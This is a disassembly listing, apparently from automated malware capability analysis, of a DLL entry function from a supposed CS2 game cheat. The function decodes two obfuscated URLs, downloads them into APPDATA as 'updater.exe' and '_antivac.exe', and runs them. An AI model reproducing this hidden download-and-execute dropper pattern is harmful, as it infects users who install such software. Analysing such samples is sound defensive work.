Function at 0x180037108
Capabilities:
Contain obfuscated stackstrings
Create thread
Download url
Execute command
Query environment variable
Receive data
Set console window title

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r13
lea rbp, [rsp - 0x90]
sub rsp, 0x190
mov rax, qword [0x1800ff028]
xor rax, rsp
mov qword [rbp + 0x88], rax
cmp edx, 1
jne 0x1800376db
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
call qword [sym.imp.KERNEL32.dll_AllocConsole]
lea rcx, str.cs2cheat_debug_console
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rbx, rax
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r9, rbx
lea r8, [0x1800e4d78]
lea rdx, str.CONOUT_
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen_s]
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x180036be8]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rsi, rax
test rax, rax
je 0x180037703
lea rcx, str.APPDATA
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov rdx, rax
lea rcx, [rbp + 0x48]
call fcn.180037798
nop
mov rcx, qword [rbp + 0x58]
mov rax, qword [rbp + 0x60]
sub rax, rcx
mov r13d, 0xc
cmp rax, r13
jb 0x180037217
lea rax, [rcx + 0xc]
mov qword [rbp + 0x58], rax
lea rbx, [rbp + 0x48]
cmp qword [rbp + 0x60], 0x10
cmovae rbx, qword [rbp + 0x48]
add rbx, rcx
mov r8d, r13d
lea rdx, str.updater.exe
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0xc], 0
jmp 0x18003722f
mov qword [rsp + 0x20], r13
lea r9, str.updater.exe
mov rdx, r13
lea rcx, [rbp + 0x48]
call fcn.180037954
lea r8, [rbp + 0x48]
cmp qword [rbp + 0x60], 0x10
cmovae r8, qword [rbp + 0x48]
mov dword [rbp - 0x6c], 0x56005633
mov cl, 0x56
mov dword [rbp - 0x70], 0x2e337834
mov dword [rbp - 0x74], 0x20796261
mov dword [rbp - 0x78], 0x62636563
mov dword [rbp - 0x7c], 0x606e6564
mov dword [rbp - 0x80], 0x6f67606f
mov dword [rsp + 0x7c], 0x62636367
mov dword [rsp + 0x78], 0x6779656f
mov dword [rsp + 0x74], 0x6f60666e
mov dword [rsp + 0x70], 0x66646162
mov dword [rsp + 0x6c], 0x63646266
mov dword [rsp + 0x68], 0x61626367
mov dword [rsp + 0x64], 0x67792522
mov dword [rsp + 0x60], 0x38333b3e
mov dword [rsp + 0x5c], 0x35372222
mov dword [rsp + 0x58], 0x37793b39
mov dword [rsp + 0x54], 0x35782626
mov dword [rsp + 0x50], 0x37322439
mov dword [rsp + 0x4c], 0x35253f32
mov dword [rsp + 0x48], 0x78383235
mov dword [rsp + 0x44], 0x79796c25
mov dword [rsp + 0x40], 0x2622223e
lea rax, [rsp + 0x40]
xor byte [rax], cl
inc rax
lea rcx, [rbp - 0x6a]
cmp rax, rcx
je 0x180037301
mov cl, byte [rbp - 0x69]
jmp 0x1800372ee
mov byte [rbp - 0x6a], 1
and qword [rsp + 0x20], 0
xor r9d, r9d
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movabs rdi, 0x7fffffffffffffff
mov ebx, 0x1000
test eax, eax
jne 0x18003740d
mov rax, rdi
mov rcx, qword [rbp + 0x58]
sub rax, rcx
cmp rax, 0xa
jb 0x180037735
lea rax, [rbp + 0x48]
cmp qword [rbp + 0x60], 0x10
cmovae rax, qword [rbp + 0x48]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0xa
lea rcx, [rbp + 8]
call fcn.180037ad0
nop
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x68]
call fcn.1800378b8
nop
mov rdx, qword [rbp + 0x20]
cmp rdx, 0x10
jb 0x1800373b9
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, rbx
jb 0x1800373b4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800373b4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18009ccbc
lea rcx, [rbp + 0x68]
cmp qword [rbp + 0x80], 0x10
cmovae rcx, qword [rbp + 0x68]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x80]
cmp rdx, 0x10
jb 0x18003740d
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, rbx
jb 0x180037408
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180037408
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18009ccbc
lea rcx, str.APPDATA
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov rdx, rax
lea rcx, [rbp + 0x28]
call fcn.180037798
nop
mov rcx, qword [rbp + 0x38]
mov rax, qword [rbp + 0x40]
sub rax, rcx
cmp rax, r13
jb 0x18003746d
lea rax, [rcx + 0xc]
mov qword [rbp + 0x38], rax
lea rbx, [rbp + 0x28]
cmp qword [rbp + 0x40], 0x10
cmovae rbx, qword [rbp + 0x28]
add rbx, rcx
mov r8, r13
lea rdx, str._antivac.exe
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0xc], 0
mov ebx, 0x1000
jmp 0x180037485
mov qword [rsp + 0x20], r13
lea r9, str._antivac.exe
mov rdx, r13
lea rcx, [rbp + 0x28]
call fcn.180037954
lea r8, [rbp + 0x28]
cmp qword [rbp + 0x40], 0x10
cmovae r8, qword [rbp + 0x28]
mov dword [rbp - 7], 0x5b005b3e
mov cl, 0x5b
mov dword [rbp - 0xb], 0x233e753f
mov dword [rbp - 0xf], 0x3e2f2b22
mov dword [rbp - 0x13], 0x29387463
mov dword [rbp - 0x17], 0x63626a68
mov dword [rbp - 0x1b], 0x6263626a
mov dword [rbp - 0x1f], 0x6a6d626f
mov dword [rbp - 0x23], 0x626f6e6e
mov dword [rbp - 0x27], 0x6a6a7468
mov dword [rbp - 0x2b], 0x62626d6b
mov dword [rbp - 0x2f], 0x636b696c
mov dword [rbp - 0x33], 0x6f6e696f
mov dword [rbp - 0x37], 0x6b6c6f6e
mov dword [rbp - 0x3b], 0x6a6a7428
mov dword [rbp - 0x3f], 0x2f353e36
mov dword [rbp - 0x43], 0x33383a2f
mov dword [rbp - 0x47], 0x2f3a7436
mov dword [rbp - 0x4b], 0x3438752b
mov dword [rbp - 0x4f], 0x2b3a3f29
mov dword [rbp - 0x53], 0x34382832
mov dword [rbp - 0x57], 0x3f75353f
mov dword [rbp - 0x5b], 0x38747461
mov dword [rbp - 0x5f], 0x282b2f2f
mov byte [rbp - 0x60], 0x33
lea rax, [rbp - 0x60]
xor byte [rax], cl
inc rax
lea rcx, [rbp - 5]
cmp rax, rcx
je 0x180037551
mov cl, byte [rbp - 4]
jmp 0x18003753e
mov byte [rbp - 5], 1
and qword [rsp + 0x20], 0
xor r9d, r9d
lea rdx, [rbp - 0x60]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jne 0x18003764a
mov rcx, qword [rbp + 0x38]
sub rdi, rcx
cmp rdi, 0xa
jb 0x18003772f
lea rax, [rbp + 0x28]
cmp qword [rbp + 0x40], 0x10
cmovae rax, qword [rbp + 0x28]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0xa
lea rcx, [rbp + 8]
call fcn.180037ad0
nop
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x68]
call fcn.1800378b8
nop
mov rdx, qword [rbp + 0x20]
cmp rdx, 0x10
jb 0x1800375f6
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, rbx
jb 0x1800375f1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800375f1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18009ccbc
lea rcx, [rbp + 0x68]
cmp qword [rbp + 0x80], 0x10
cmovae rcx, qword [rbp + 0x68]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x80]
cmp rdx, 0x10
jb 0x18003764a
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, rbx
jb 0x180037645
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180037645
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18009ccbc
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rbp + 0x40]
cmp rdx, 0x10
jb 0x18003768e
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, rbx
jb 0x180037689
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180037689
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18009ccbc
and qword [rbp + 0x38], 0
mov qword [rbp + 0x40], 0xf
mov byte [rbp + 0x28], 0
mov rdx, qword [rbp + 0x60]
cmp rdx, 0x10
jb 0x180037703
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, rbx
jb 0x1800376d4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800376d4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18009ccbc
jmp 0x180037703
test edx, edx
jne 0x180037703
test r8, r8
jne 0x180037703
call fcn.180036d80
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
call qword [sym.imp.KERNEL32.dll_FreeConsole]
mov eax, 1
mov rcx, qword [rbp + 0x88]
xor rcx, rsp
call fcn.18009c930
lea r11, [rsp + 0x190]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r13
pop rdi
pop rbp
ret
call fcn.1800370f4
nop
call fcn.1800370f4
int3